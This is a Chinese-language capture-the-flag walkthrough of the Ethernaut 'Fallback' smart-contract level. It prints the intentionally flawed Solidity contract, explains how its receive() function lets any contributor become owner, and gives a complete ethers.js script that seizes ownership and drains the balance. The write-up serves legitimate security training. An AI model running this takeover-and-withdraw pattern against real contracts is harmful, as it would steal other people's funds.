Appearance
揭秘 Ethernaut Fallback 关卡:巧妙夺取合约控制权与清零余额
Ethernaut 是一个经典的 Solidity 智能合约安全训练场,旨在帮助开发者通过实际操作来学习和理解智能合约的漏洞。今天,我们将深入探讨其中一个极具挑战性的关卡——Fallback,并揭示其通关的奥秘。
Fallback 关卡概述
Fallback 关卡提供了一个名为 Fallback 的智能合约,其目标是让你夺取合约的 owner 身份,并最终将合约余额清零。听起来简单,但其背后隐藏着对 Solidity 特殊函数和以太坊交易机制的深刻理解。
合约代码解析:关键点剖析
让我们一起仔细审视 Fallback.sol 的代码,重点关注那些可能隐藏着通关线索的部分:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions; // 记录用户的贡献
address public owner; // 合约的拥有者
constructor() {
owner = msg.sender; // 构造函数中,合约部署者成为 owner
contributions[msg.sender] = 1000 * (1 ether); // 部署者拥有巨额贡献
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner"); // 只有 owner 才能执行某些操作
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether); // 限制单个贡献额度
contributions[msg.sender] += msg.value; // 增加用户贡献
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender; // 如果用户贡献超过 owner,则 owner 变更
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender]; // 查看用户贡献
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance); // owner 可以提取合约所有余额
}
receive() external payable { // **关键!fallback 函数**
require(msg.value > 0 && contributions[msg.sender] > 0); // 只有在有 value 且用户有贡献时才执行
owner = msg.sender; // **这里是夺取 owner 的关键!**
}
}
核心漏洞与通关策略
夺取 Owner 身份:
receive()函数的妙用receive()函数是在 Solidity 0.6.0 及更高版本中引入的特殊函数,当智能合约收到不带数据的以太坊交易时,就会触发这个函数。- 在
Fallback合约中,receive()函数有一个关键的逻辑:require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender;。 - 这意味着,任何一个向合约发送以太坊(
msg.value > 0)并且已经做出过贡献(contributions[msg.sender] > 0)的外部账户,都可以通过直接发送 Ether(不调用任何函数,触发receive())来覆盖当前的owner。 - 构造函数中,原始
owner拥有1000 ether的贡献,这使得contribute函数中的if (contributions[msg.sender] > contributions[owner])条件很难在不触发receive的情况下被满足。
如何触发
receive()并满足条件?- 条件一:
msg.value > 0:这很容易实现,只需要向合约发送少量 Ether。 - 条件二:
contributions[msg.sender] > 0:这是关键。我们必须先成为合约的贡献者。- 方法 A:调用
contribute()函数:虽然contribute()函数限制了msg.value < 0.001 ether,但我们可以调用它并发送极少量的 Ether(例如0.000000000000000001 ether,即1 wei),来满足contributions[msg.sender] > 0的条件。 - 方法 B:直接发送 Ether(不带函数选择器):如果你熟悉以太坊的交易细节,可以直接构造一个交易,将 Ether 发送到合约地址,而不带任何
data字段。只要合约地址是可收款的,并且receive()函数对它可用,这个交易就会触发receive()。但这样做无法直接增加contributions,所以通常还是需要先通过contribute函数进行贡献。
- 方法 A:调用
- 条件一:
清零合约余额:
withdraw()的挑战withdraw()函数被onlyOwner修饰符保护,意味着只有当前的owner才能调用。- 一旦你成功夺取了
owner的身份,你就可以直接调用withdraw()函数,将合约中所有的 Ether 都提取到你的钱包中。
通关步骤详解
准备工作:
- 一个以太坊钱包(如 MetaMask)。
- 连接到 Ethernaut 平台。
- 获取 Ethernaut 提供的合约地址和你自己的钱包地址。
- 确保你的钱包里有少量的 ETH(用于支付 Gas 费和进行交易)。
第一步:触发
contribute()函数(如果需要)- 使用你熟悉的 Web3 库(如 ethers.js、web3.js)或 Ethernaut 提供的交互界面。
- 找到
Fallback合约的contribute()函数。 - 发送极少量的 Ether,远小于
0.001 ether(例如0.000000000000000001 ether,即1 wei)。 - 这一步的目的是让你的地址在
contributionsmapping 中拥有一个非零的贡献值。
第二步:夺取 Owner 身份
- 关键步骤:直接向合约地址发送 Ether,而不调用任何函数。
- 你需要构造一个原始的以太坊交易(raw transaction),指定合约地址作为
to,设置一个极小的value(例如0.000000000000000001 ether),而data字段为空。 - 执行这个交易。当这个交易被矿工打包后,由于
data为空且msg.value > 0,合约的receive()函数就会被触发。 - 由于你在上一步中已经有了贡献(
contributions[msg.sender] > 0),receive()函数中的require条件就会满足,你的地址就会被设置为新的owner。
第三步:执行
withdraw()函数- 一旦你成为
owner,你就可以调用withdraw()函数。 - 执行
withdraw()函数。此时,合约中的所有 Ether(包括你之前发送的、以及可能在合约中存在的其他 Ether)都将被转移到你的钱包地址。
- 一旦你成为
代码示例(使用 ethers.js)
以下是一个使用 ethers.js 实现通关的 Javascript 代码示例:
javascript
// 确保你已安装 ethers.js: npm install ethers
import { ethers } from "ethers";
async function exploitFallback() {
// 替换为你的 RPC URL, 部署合约的私钥, 合约地址
const provider = new ethers.JsonRpcProvider("YOUR_RPC_URL");
const wallet = new ethers.Wallet("YOUR_PRIVATE_KEY", provider);
const contractAddress = "FALLBACK_CONTRACT_ADDRESS";
const abi = [
"function contribute() public payable",
"function withdraw() public",
// receive() 函数不需要在 ABI 中显式声明,它会被自动处理
];
const contract = new ethers.Contract(contractAddress, abi, wallet);
console.log(`Wallet address: ${wallet.address}`);
console.log(`Initial owner: (fetching...)`);
// 注意:如果 owner 改变,你需要重新连接合约实例才能获取最新的 owner
// 这里只是为了演示,实际需要根据情况获取最新 owner
try {
console.log("Step 1: Contributing a tiny amount...");
const contributeTx = await contract.contribute({
value: ethers.parseEther("0.000000000000000001"), // 1 wei
});
await contributeTx.wait();
console.log("Contribution successful.");
} catch (error) {
console.error("Error during contribution:", error);
// 如果 contribute 已经成功过,可能会有错误,可以忽略
}
console.log("Step 2: Sending Ether directly to trigger receive() and claim ownership...");
const rawTx = {
to: contractAddress,
data: "", // 空 data 字段会触发 receive()
value: ethers.parseEther("0.000000000000000001"), // 1 wei, 也可以是任意少量 Ether
};
const claimOwnershipTxResponse = await wallet.sendTransaction(rawTx);
await claimOwnershipTxResponse.wait();
console.log("Ownership claimed!");
console.log("Step 3: Withdrawing all contract balance...");
try {
const withdrawTx = await contract.withdraw();
await withdrawTx.wait();
console.log("Withdrawal successful. Contract balance should be zero.");
} catch (error) {
console.error("Error during withdrawal:", error);
}
}
exploitFallback().catch(error => {
console.error("Exploit failed:", error);
});
重要提示:
- Gas 费用: 每次交易都需要支付 Gas 费用。请确保你的钱包有足够的 ETH。
- 网络延迟: 以太坊网络可能存在延迟,交易确认需要时间。
- 合约状态: Ethernaut 的合约状态是共享的,如果有人在你之前已经通过这个关卡,合约的状态可能已经改变。
- 版本兼容性:
receive()函数是在 Solidity 0.6.0 之后引入的。确保你的 Ethernaut 环境支持此版本。
通过理解 receive() 函数的触发机制以及如何巧妙地满足其条件,你就能成功地从 owner 变为合约的真正主人,并最终将其余额清零。Fallback 关卡不仅考验了对 Solidity 语法的掌握,更重要的是对智能合约安全模型和以太坊底层机制的深刻理解。祝你在 Ethernaut 的学习旅程中不断进步!